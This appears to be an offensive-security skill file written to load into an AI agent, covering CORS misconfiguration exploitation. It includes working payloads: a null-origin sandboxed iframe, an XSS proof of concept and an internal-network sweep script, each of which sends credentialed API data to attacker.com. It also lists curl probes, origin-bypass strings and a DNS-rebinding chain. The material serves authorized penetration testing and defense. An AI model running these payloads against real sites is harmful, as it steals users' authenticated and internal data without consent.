cors-cross-origin-misconfiguration
SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.
Extended Scenarios
Also load SCENARIOS.md when you need:
- JSONP hijacking complete attack scenario — watering hole +
<script>cross-origin data theft - Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
- Same-origin policy deep dive — protocol/hostname/port definition,
document.domainsubdomain relaxation and its security risks - CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
- CORS exploitation payloads — reflected origin with
credentials: include, null origin via sandboxed iframe - Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
1. WHEN TO LOAD THIS SKILL
Load when:
- Responses contain
Access-Control-Allow-Origin,Access-Control-Allow-Credentials, or preflight headers - A browser-based attack path might read authenticated API responses
- JSON endpoints appear protected from CSRF but are readable cross-origin
2. HIGH-VALUE MISCONFIGURATION CHECKS
| Theme | What to Check |
|---|---|
| wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary Origin |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
null origin |
acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |
3. QUICK TRIAGE
- Send crafted
Originheaders and inspect reflection. - Test with and without credentials.
- Probe allowlist bypasses using attacker subdomains and parser edge cases.
- If readable data is sensitive, chain to account or tenant impact.
4. RELATED ROUTES
- Session or JSON action abuse: csrf cross site request forgery
- OAuth token leakage and callback binding: oauth oidc misconfiguration
- API auth context: api auth and jwt abuse
5. NULL ORIGIN EXPLOITATION
How Origin: null is sent
| Context | Origin Header Value |
|---|---|
Sandboxed iframe (<iframe sandbox>) |
null |
data: URI scheme |
null |
file: protocol (local HTML) |
null |
| Cross-origin redirect chain (some browsers) | null |
Serialized data in blob: URL from opaque origin |
null |
Exploitation
If the server includes null in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.
6. SUBDOMAIN XSS → CORS BYPASS CHAIN
Attack flow
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
PoC (injected via XSS on blog.target.com)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
Why this works
blog.target.comis same-site withapi.target.com→SameSitecookies sent- CORS allowlist includes
*.target.com→Access-Control-Allow-Origin: https://blog.target.com - Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
Reconnaissance for this chain
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
7. VARY: ORIGIN CACHING ISSUE
Problem
When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
Detection
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
Exploitation
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
Fix verification
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
8. REGEX BYPASS PATTERNS
Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin |
|---|---|---|
^https?://.*\.target\.com$ |
.* matches anything including - |
https://attacker-target.com |
^https?://.*target\.com$ |
Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com |
target\.com (substring match) |
No anchors | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ |
Missing port restriction | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ |
Missing end anchor for path | N/A (but misses subdomains with - or digits) |
| Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |
Test payloads for origin validation bypass
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
Advanced: Unicode normalization bypass
https://target.com → https://ⓣarget.com (Unicode homoglyph)
Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
9. INTERNAL NETWORK CORS EXPLOITATION
Scenario
An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:
Access-Control-Allow-Origin: *
Internal APIs often use wildcard CORS because "only internal users can reach it."
Attack chain
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
Port scanning via CORS timing
Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:
- Port open: connection established → CORS error (different timing)
- Port closed: connection refused → fast error
- Host down: timeout → slow error
Combined with DNS rebinding
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable